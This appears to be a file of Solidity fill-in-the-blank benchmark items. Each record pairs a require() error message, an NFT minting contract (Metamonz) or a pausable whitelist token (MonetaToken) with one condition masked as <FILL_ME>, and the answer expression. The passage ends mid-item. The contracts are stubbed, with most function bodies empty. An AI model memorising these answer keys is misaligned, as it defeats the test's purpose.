import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Metamonz is ERC721Enumerable, Ownable, AccessControl {
using Strings for uint256;
// SET MINT PRICES
uint256 public BATCH_1_PRICE = 0.077 ether;
uint256 public BATCH_2_PRICE = 0.077 ether;
uint256 public BATCH_3_PRICE = 0.09 ether;
// NFT AMOUNTS
uint256 public constant TOTAL_NUMBER_OF_NFTS = 9999;
uint256 public constant BATCH_1_AMOUNT = 1000;
uint256 public constant BATCH_2_AMOUNT = 2400;
uint256 public constant BATCH_3_AMOUNT = 6400;
uint256 public constant GIVEAWAY_AMOUNT = 199;
// BATCH 2 WHITELISTE
bool public IS_BATCH_2_WHITELISTE = true;
mapping(address => bool) private _batch_2_minters;
// NFT AMOUNTS MINTED
uint256 public BATCH_1_MINTED = 0;
uint256 public BATCH_2_MINTED = 0;
uint256 public BATCH_3_MINTED = 0;
uint256 public GIVEAWAY_MINTED = 0;
// MAX MINT AMOUNTS
uint256 public BATCH_1_MAX_MINT = 6;
uint256 public BATCH_2_MAX_MINT = 6;
uint256 public BATCH_3_MAX_MINT = 9;
// OPEN BATCHES
bool public BATCH_1_OPEN = false;
bool public BATCH_2_OPEN = false;
bool public BATCH_3_OPEN = false;
// MAXIMUM NUMBER OF NFTS PER WALLET
uint256 public MAX_AMOUNT_PER_WALLET = 18;
// BASE TOKEN URIs
string private _baseTokenURI_fire = "";
string private _baseTokenURI_water = "";
string private _baseTokenURI_dark = "";
string private _baseTokenURI_cyborg = "";
// MAPPING TOKEN_ID TO THE RIGHT BASE DRAGON
// 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
mapping(uint256 => uint256) private _bases;
// MODIFIERS
modifier whenBatch1Open() {
}
modifier whenBatch2Open() {
}
modifier whenBatch3Open() {
}
modifier batch2Allowed(address account) {
}
// EVENTS
event Batch1Open(address account);
event Batch2Open(address account);
event Batch3Open(address account);
event Giveaway(address account, address to);
event Batch1PriceSet(address account, uint256 price);
event Batch2PriceSet(address account, uint256 price);
event Batch3PriceSet(address account, uint256 price);
event Batch1MaxMintSet(address account, uint256 max);
event Batch2MaxMintSet(address account, uint256 max);
event Batch3MaxMintSet(address account, uint256 max);
event MaximumPerWalletSet(address account, uint256 max);
constructor() ERC721("METAMONZ", "METAMONZ") {}
receive() external payable {}
// MINT BATCH 1
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_1(uint256 num, uint256 base) public payable whenBatch1Open() {
require(base >= 1 && base <= 4, "METAMONZ: Base must be 1, 2, 3 or 4");
require(num <= BATCH_1_MAX_MINT, "METAMONZ: You can only mint BATCH_1_MAX_MINT METAMONZ");
require(<FILL_ME>)
require(BATCH_1_MINTED + num <= BATCH_1_AMOUNT, "METAMONZ: Exceeds maximum METAMONZ for Batch 1");
require(msg.value >= BATCH_1_PRICE * num, "METAMONZ: Ether sent is too less");
uint256 supply = totalSupply();
for(uint256 i; i < num; i++) {
BATCH_1_MINTED += 1;
_bases[supply + i] = base;
_safeMint(msg.sender, supply + i);
}
}
// MINT BATCH 2
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_2(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() batch2Allowed(msg.sender) {
}
// MINT BATCH 3
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_3(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() whenBatch3Open() {
}
// GIVEAWAY
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function giveAway(address _to, uint256 base) external onlyOwner {
}
// SET WHITELIST FOR BATCH 2
function setBatch2Whitelist(address[] calldata _addresses) external onlyOwner {
}
// CHECK WHITELISTE
function isBatch2Allowed(address account) public view returns (bool) {
}
// ENABLE/DISABLE WHITELIST
function setIsBatch2Whitelist(bool state) public onlyOwner {
}
// SET BATCH 1 MINT PRICE
function setBatch1MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 2 MINT PRICE
function setBatch2MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 3 MINT PRICE
function setBatch3MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 1 MAXIMUM MINT AMOUNT
function setBatch1MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 2 MAXIMUM MINT AMOUNT
function setBatch2MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 3 MAXIMUM MINT AMOUNT
function setBatch3MaxMint(uint256 max) public onlyOwner {
}
// OPEN BATCH 1 MINT
function openBatch1() public onlyOwner {
}
// OPEN BATCH 2 MINT
function openBatch2() public onlyOwner {
}
// OPEN BATCH 3 MINT
function openBatch3() public onlyOwner {
}
// SET MAXIMUM NFTS AMOUNT PER WALLET
function setMaximumPerWallet(uint256 max) public onlyOwner {
}
// GET BASE OF NFT
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function getBase(uint256 tokenId) public view returns (uint256) {
}
// SET BASE URI
function setBaseURI(string memory fire, string memory water, string memory dark, string memory cyborg) public onlyOwner {
}
// GET TOKEN URI FOR METADATA
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// GET BASE URI FIRE
function getBaseURIFire() public view returns (string memory) {
}
// GET BASE URI WATER
function getBaseURIWater() public view returns (string memory) {
}
// GET BASE URI DARK
function getBaseURIDark() public view returns (string memory) {
}
// GET BASE URI CYBORG
function getBaseURICyborg() public view returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
// SEND ETHER
function sendEth(address to, uint amount) internal {
}
// SUPPORTS INTERFACE
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) {
}
}
| balanceOf(msg.sender)+num<=MAX_AMOUNT_PER_WALLET,"METAMONZ: You can only hold MAX_AMOUNT_PER_WALLET METAMONZ per wallet" | 297,745 | balanceOf(msg.sender)+num<=MAX_AMOUNT_PER_WALLET |
"METAMONZ: Exceeds maximum METAMONZ for Batch 1" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Metamonz is ERC721Enumerable, Ownable, AccessControl {
using Strings for uint256;
// SET MINT PRICES
uint256 public BATCH_1_PRICE = 0.077 ether;
uint256 public BATCH_2_PRICE = 0.077 ether;
uint256 public BATCH_3_PRICE = 0.09 ether;
// NFT AMOUNTS
uint256 public constant TOTAL_NUMBER_OF_NFTS = 9999;
uint256 public constant BATCH_1_AMOUNT = 1000;
uint256 public constant BATCH_2_AMOUNT = 2400;
uint256 public constant BATCH_3_AMOUNT = 6400;
uint256 public constant GIVEAWAY_AMOUNT = 199;
// BATCH 2 WHITELISTE
bool public IS_BATCH_2_WHITELISTE = true;
mapping(address => bool) private _batch_2_minters;
// NFT AMOUNTS MINTED
uint256 public BATCH_1_MINTED = 0;
uint256 public BATCH_2_MINTED = 0;
uint256 public BATCH_3_MINTED = 0;
uint256 public GIVEAWAY_MINTED = 0;
// MAX MINT AMOUNTS
uint256 public BATCH_1_MAX_MINT = 6;
uint256 public BATCH_2_MAX_MINT = 6;
uint256 public BATCH_3_MAX_MINT = 9;
// OPEN BATCHES
bool public BATCH_1_OPEN = false;
bool public BATCH_2_OPEN = false;
bool public BATCH_3_OPEN = false;
// MAXIMUM NUMBER OF NFTS PER WALLET
uint256 public MAX_AMOUNT_PER_WALLET = 18;
// BASE TOKEN URIs
string private _baseTokenURI_fire = "";
string private _baseTokenURI_water = "";
string private _baseTokenURI_dark = "";
string private _baseTokenURI_cyborg = "";
// MAPPING TOKEN_ID TO THE RIGHT BASE DRAGON
// 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
mapping(uint256 => uint256) private _bases;
// MODIFIERS
modifier whenBatch1Open() {
}
modifier whenBatch2Open() {
}
modifier whenBatch3Open() {
}
modifier batch2Allowed(address account) {
}
// EVENTS
event Batch1Open(address account);
event Batch2Open(address account);
event Batch3Open(address account);
event Giveaway(address account, address to);
event Batch1PriceSet(address account, uint256 price);
event Batch2PriceSet(address account, uint256 price);
event Batch3PriceSet(address account, uint256 price);
event Batch1MaxMintSet(address account, uint256 max);
event Batch2MaxMintSet(address account, uint256 max);
event Batch3MaxMintSet(address account, uint256 max);
event MaximumPerWalletSet(address account, uint256 max);
constructor() ERC721("METAMONZ", "METAMONZ") {}
receive() external payable {}
// MINT BATCH 1
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_1(uint256 num, uint256 base) public payable whenBatch1Open() {
require(base >= 1 && base <= 4, "METAMONZ: Base must be 1, 2, 3 or 4");
require(num <= BATCH_1_MAX_MINT, "METAMONZ: You can only mint BATCH_1_MAX_MINT METAMONZ");
require(balanceOf(msg.sender) + num <= MAX_AMOUNT_PER_WALLET, "METAMONZ: You can only hold MAX_AMOUNT_PER_WALLET METAMONZ per wallet");
require(<FILL_ME>)
require(msg.value >= BATCH_1_PRICE * num, "METAMONZ: Ether sent is too less");
uint256 supply = totalSupply();
for(uint256 i; i < num; i++) {
BATCH_1_MINTED += 1;
_bases[supply + i] = base;
_safeMint(msg.sender, supply + i);
}
}
// MINT BATCH 2
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_2(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() batch2Allowed(msg.sender) {
}
// MINT BATCH 3
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_3(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() whenBatch3Open() {
}
// GIVEAWAY
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function giveAway(address _to, uint256 base) external onlyOwner {
}
// SET WHITELIST FOR BATCH 2
function setBatch2Whitelist(address[] calldata _addresses) external onlyOwner {
}
// CHECK WHITELISTE
function isBatch2Allowed(address account) public view returns (bool) {
}
// ENABLE/DISABLE WHITELIST
function setIsBatch2Whitelist(bool state) public onlyOwner {
}
// SET BATCH 1 MINT PRICE
function setBatch1MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 2 MINT PRICE
function setBatch2MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 3 MINT PRICE
function setBatch3MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 1 MAXIMUM MINT AMOUNT
function setBatch1MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 2 MAXIMUM MINT AMOUNT
function setBatch2MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 3 MAXIMUM MINT AMOUNT
function setBatch3MaxMint(uint256 max) public onlyOwner {
}
// OPEN BATCH 1 MINT
function openBatch1() public onlyOwner {
}
// OPEN BATCH 2 MINT
function openBatch2() public onlyOwner {
}
// OPEN BATCH 3 MINT
function openBatch3() public onlyOwner {
}
// SET MAXIMUM NFTS AMOUNT PER WALLET
function setMaximumPerWallet(uint256 max) public onlyOwner {
}
// GET BASE OF NFT
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function getBase(uint256 tokenId) public view returns (uint256) {
}
// SET BASE URI
function setBaseURI(string memory fire, string memory water, string memory dark, string memory cyborg) public onlyOwner {
}
// GET TOKEN URI FOR METADATA
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// GET BASE URI FIRE
function getBaseURIFire() public view returns (string memory) {
}
// GET BASE URI WATER
function getBaseURIWater() public view returns (string memory) {
}
// GET BASE URI DARK
function getBaseURIDark() public view returns (string memory) {
}
// GET BASE URI CYBORG
function getBaseURICyborg() public view returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
// SEND ETHER
function sendEth(address to, uint amount) internal {
}
// SUPPORTS INTERFACE
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) {
}
}
| BATCH_1_MINTED+num<=BATCH_1_AMOUNT,"METAMONZ: Exceeds maximum METAMONZ for Batch 1" | 297,745 | BATCH_1_MINTED+num<=BATCH_1_AMOUNT |
"METAMONZ: Exceeds maximum METAMONZ for Batch 2" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Metamonz is ERC721Enumerable, Ownable, AccessControl {
using Strings for uint256;
// SET MINT PRICES
uint256 public BATCH_1_PRICE = 0.077 ether;
uint256 public BATCH_2_PRICE = 0.077 ether;
uint256 public BATCH_3_PRICE = 0.09 ether;
// NFT AMOUNTS
uint256 public constant TOTAL_NUMBER_OF_NFTS = 9999;
uint256 public constant BATCH_1_AMOUNT = 1000;
uint256 public constant BATCH_2_AMOUNT = 2400;
uint256 public constant BATCH_3_AMOUNT = 6400;
uint256 public constant GIVEAWAY_AMOUNT = 199;
// BATCH 2 WHITELISTE
bool public IS_BATCH_2_WHITELISTE = true;
mapping(address => bool) private _batch_2_minters;
// NFT AMOUNTS MINTED
uint256 public BATCH_1_MINTED = 0;
uint256 public BATCH_2_MINTED = 0;
uint256 public BATCH_3_MINTED = 0;
uint256 public GIVEAWAY_MINTED = 0;
// MAX MINT AMOUNTS
uint256 public BATCH_1_MAX_MINT = 6;
uint256 public BATCH_2_MAX_MINT = 6;
uint256 public BATCH_3_MAX_MINT = 9;
// OPEN BATCHES
bool public BATCH_1_OPEN = false;
bool public BATCH_2_OPEN = false;
bool public BATCH_3_OPEN = false;
// MAXIMUM NUMBER OF NFTS PER WALLET
uint256 public MAX_AMOUNT_PER_WALLET = 18;
// BASE TOKEN URIs
string private _baseTokenURI_fire = "";
string private _baseTokenURI_water = "";
string private _baseTokenURI_dark = "";
string private _baseTokenURI_cyborg = "";
// MAPPING TOKEN_ID TO THE RIGHT BASE DRAGON
// 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
mapping(uint256 => uint256) private _bases;
// MODIFIERS
modifier whenBatch1Open() {
}
modifier whenBatch2Open() {
}
modifier whenBatch3Open() {
}
modifier batch2Allowed(address account) {
}
// EVENTS
event Batch1Open(address account);
event Batch2Open(address account);
event Batch3Open(address account);
event Giveaway(address account, address to);
event Batch1PriceSet(address account, uint256 price);
event Batch2PriceSet(address account, uint256 price);
event Batch3PriceSet(address account, uint256 price);
event Batch1MaxMintSet(address account, uint256 max);
event Batch2MaxMintSet(address account, uint256 max);
event Batch3MaxMintSet(address account, uint256 max);
event MaximumPerWalletSet(address account, uint256 max);
constructor() ERC721("METAMONZ", "METAMONZ") {}
receive() external payable {}
// MINT BATCH 1
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_1(uint256 num, uint256 base) public payable whenBatch1Open() {
}
// MINT BATCH 2
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_2(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() batch2Allowed(msg.sender) {
require(base >= 1 && base <= 4, "METAMONZ: Base must be 1, 2, 3 or 4");
require(num <= BATCH_2_MAX_MINT, "METAMONZ: You can only mint BATCH_2_MAX_MINT METAMONZ");
require(balanceOf(msg.sender) + num <= MAX_AMOUNT_PER_WALLET, "METAMONZ: You can only hold MAX_AMOUNT_PER_WALLET METAMONZ per wallet");
require(<FILL_ME>)
require(msg.value >= BATCH_2_PRICE * num, "METAMONZ: Ether sent is too less");
_batch_2_minters[msg.sender] = false;
uint256 supply = totalSupply();
for(uint256 i; i < num; i++) {
BATCH_2_MINTED += 1;
_bases[supply + i] = base;
_safeMint(msg.sender, supply + i);
}
}
// MINT BATCH 3
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_3(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() whenBatch3Open() {
}
// GIVEAWAY
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function giveAway(address _to, uint256 base) external onlyOwner {
}
// SET WHITELIST FOR BATCH 2
function setBatch2Whitelist(address[] calldata _addresses) external onlyOwner {
}
// CHECK WHITELISTE
function isBatch2Allowed(address account) public view returns (bool) {
}
// ENABLE/DISABLE WHITELIST
function setIsBatch2Whitelist(bool state) public onlyOwner {
}
// SET BATCH 1 MINT PRICE
function setBatch1MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 2 MINT PRICE
function setBatch2MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 3 MINT PRICE
function setBatch3MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 1 MAXIMUM MINT AMOUNT
function setBatch1MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 2 MAXIMUM MINT AMOUNT
function setBatch2MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 3 MAXIMUM MINT AMOUNT
function setBatch3MaxMint(uint256 max) public onlyOwner {
}
// OPEN BATCH 1 MINT
function openBatch1() public onlyOwner {
}
// OPEN BATCH 2 MINT
function openBatch2() public onlyOwner {
}
// OPEN BATCH 3 MINT
function openBatch3() public onlyOwner {
}
// SET MAXIMUM NFTS AMOUNT PER WALLET
function setMaximumPerWallet(uint256 max) public onlyOwner {
}
// GET BASE OF NFT
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function getBase(uint256 tokenId) public view returns (uint256) {
}
// SET BASE URI
function setBaseURI(string memory fire, string memory water, string memory dark, string memory cyborg) public onlyOwner {
}
// GET TOKEN URI FOR METADATA
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// GET BASE URI FIRE
function getBaseURIFire() public view returns (string memory) {
}
// GET BASE URI WATER
function getBaseURIWater() public view returns (string memory) {
}
// GET BASE URI DARK
function getBaseURIDark() public view returns (string memory) {
}
// GET BASE URI CYBORG
function getBaseURICyborg() public view returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
// SEND ETHER
function sendEth(address to, uint amount) internal {
}
// SUPPORTS INTERFACE
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) {
}
}
| BATCH_2_MINTED+num<=BATCH_2_AMOUNT,"METAMONZ: Exceeds maximum METAMONZ for Batch 2" | 297,745 | BATCH_2_MINTED+num<=BATCH_2_AMOUNT |
"METAMONZ: Exceeds maximum METAMONZ for Batch 3" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Metamonz is ERC721Enumerable, Ownable, AccessControl {
using Strings for uint256;
// SET MINT PRICES
uint256 public BATCH_1_PRICE = 0.077 ether;
uint256 public BATCH_2_PRICE = 0.077 ether;
uint256 public BATCH_3_PRICE = 0.09 ether;
// NFT AMOUNTS
uint256 public constant TOTAL_NUMBER_OF_NFTS = 9999;
uint256 public constant BATCH_1_AMOUNT = 1000;
uint256 public constant BATCH_2_AMOUNT = 2400;
uint256 public constant BATCH_3_AMOUNT = 6400;
uint256 public constant GIVEAWAY_AMOUNT = 199;
// BATCH 2 WHITELISTE
bool public IS_BATCH_2_WHITELISTE = true;
mapping(address => bool) private _batch_2_minters;
// NFT AMOUNTS MINTED
uint256 public BATCH_1_MINTED = 0;
uint256 public BATCH_2_MINTED = 0;
uint256 public BATCH_3_MINTED = 0;
uint256 public GIVEAWAY_MINTED = 0;
// MAX MINT AMOUNTS
uint256 public BATCH_1_MAX_MINT = 6;
uint256 public BATCH_2_MAX_MINT = 6;
uint256 public BATCH_3_MAX_MINT = 9;
// OPEN BATCHES
bool public BATCH_1_OPEN = false;
bool public BATCH_2_OPEN = false;
bool public BATCH_3_OPEN = false;
// MAXIMUM NUMBER OF NFTS PER WALLET
uint256 public MAX_AMOUNT_PER_WALLET = 18;
// BASE TOKEN URIs
string private _baseTokenURI_fire = "";
string private _baseTokenURI_water = "";
string private _baseTokenURI_dark = "";
string private _baseTokenURI_cyborg = "";
// MAPPING TOKEN_ID TO THE RIGHT BASE DRAGON
// 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
mapping(uint256 => uint256) private _bases;
// MODIFIERS
modifier whenBatch1Open() {
}
modifier whenBatch2Open() {
}
modifier whenBatch3Open() {
}
modifier batch2Allowed(address account) {
}
// EVENTS
event Batch1Open(address account);
event Batch2Open(address account);
event Batch3Open(address account);
event Giveaway(address account, address to);
event Batch1PriceSet(address account, uint256 price);
event Batch2PriceSet(address account, uint256 price);
event Batch3PriceSet(address account, uint256 price);
event Batch1MaxMintSet(address account, uint256 max);
event Batch2MaxMintSet(address account, uint256 max);
event Batch3MaxMintSet(address account, uint256 max);
event MaximumPerWalletSet(address account, uint256 max);
constructor() ERC721("METAMONZ", "METAMONZ") {}
receive() external payable {}
// MINT BATCH 1
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_1(uint256 num, uint256 base) public payable whenBatch1Open() {
}
// MINT BATCH 2
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_2(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() batch2Allowed(msg.sender) {
}
// MINT BATCH 3
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function mint_batch_3(uint256 num, uint256 base) public payable whenBatch1Open() whenBatch2Open() whenBatch3Open() {
require(base >= 1 && base <= 4, "METAMONZ: Base must be 1, 2, 3 or 4");
require(num <= BATCH_3_MAX_MINT, "METAMONZ: You can only mint BATCH_3_MAX_MINT METAMONZ");
require(balanceOf(msg.sender) + num <= MAX_AMOUNT_PER_WALLET, "METAMONZ: You can only hold MAX_AMOUNT_PER_WALLET METAMONZ per wallet");
require(<FILL_ME>)
require(msg.value >= BATCH_3_PRICE * num, "METAMONZ: Ether sent is too less");
uint256 supply = totalSupply();
for(uint256 i; i < num; i++) {
BATCH_3_MINTED += 1;
_bases[supply + i] = base;
_safeMint(msg.sender, supply + i);
}
}
// GIVEAWAY
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function giveAway(address _to, uint256 base) external onlyOwner {
}
// SET WHITELIST FOR BATCH 2
function setBatch2Whitelist(address[] calldata _addresses) external onlyOwner {
}
// CHECK WHITELISTE
function isBatch2Allowed(address account) public view returns (bool) {
}
// ENABLE/DISABLE WHITELIST
function setIsBatch2Whitelist(bool state) public onlyOwner {
}
// SET BATCH 1 MINT PRICE
function setBatch1MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 2 MINT PRICE
function setBatch2MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 3 MINT PRICE
function setBatch3MintPrice(uint256 price) public onlyOwner {
}
// SET BATCH 1 MAXIMUM MINT AMOUNT
function setBatch1MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 2 MAXIMUM MINT AMOUNT
function setBatch2MaxMint(uint256 max) public onlyOwner {
}
// SET BATCH 3 MAXIMUM MINT AMOUNT
function setBatch3MaxMint(uint256 max) public onlyOwner {
}
// OPEN BATCH 1 MINT
function openBatch1() public onlyOwner {
}
// OPEN BATCH 2 MINT
function openBatch2() public onlyOwner {
}
// OPEN BATCH 3 MINT
function openBatch3() public onlyOwner {
}
// SET MAXIMUM NFTS AMOUNT PER WALLET
function setMaximumPerWallet(uint256 max) public onlyOwner {
}
// GET BASE OF NFT
// BASE: 1 = FIRE, 2 = WATER, 3 = DARK, 4 = CYBORG
function getBase(uint256 tokenId) public view returns (uint256) {
}
// SET BASE URI
function setBaseURI(string memory fire, string memory water, string memory dark, string memory cyborg) public onlyOwner {
}
// GET TOKEN URI FOR METADATA
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// GET BASE URI FIRE
function getBaseURIFire() public view returns (string memory) {
}
// GET BASE URI WATER
function getBaseURIWater() public view returns (string memory) {
}
// GET BASE URI DARK
function getBaseURIDark() public view returns (string memory) {
}
// GET BASE URI CYBORG
function getBaseURICyborg() public view returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
// SEND ETHER
function sendEth(address to, uint amount) internal {
}
// SUPPORTS INTERFACE
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) {
}
}
| BATCH_3_MINTED+num<=BATCH_3_AMOUNT,"METAMONZ: Exceeds maximum METAMONZ for Batch 3" | 297,745 | BATCH_3_MINTED+num<=BATCH_3_AMOUNT |
'contract paused and sender is not in whitelist' | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
emit Logging(true);
emit Logging(isWhitelisted(msg.sender));
require(<FILL_ME>)
_;
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
returns (bool)
{
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| !paused||isWhitelisted(msg.sender)||msg.sender==owner,'contract paused and sender is not in whitelist' | 297,754 | !paused||isWhitelisted(msg.sender)||msg.sender==owner |
null | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
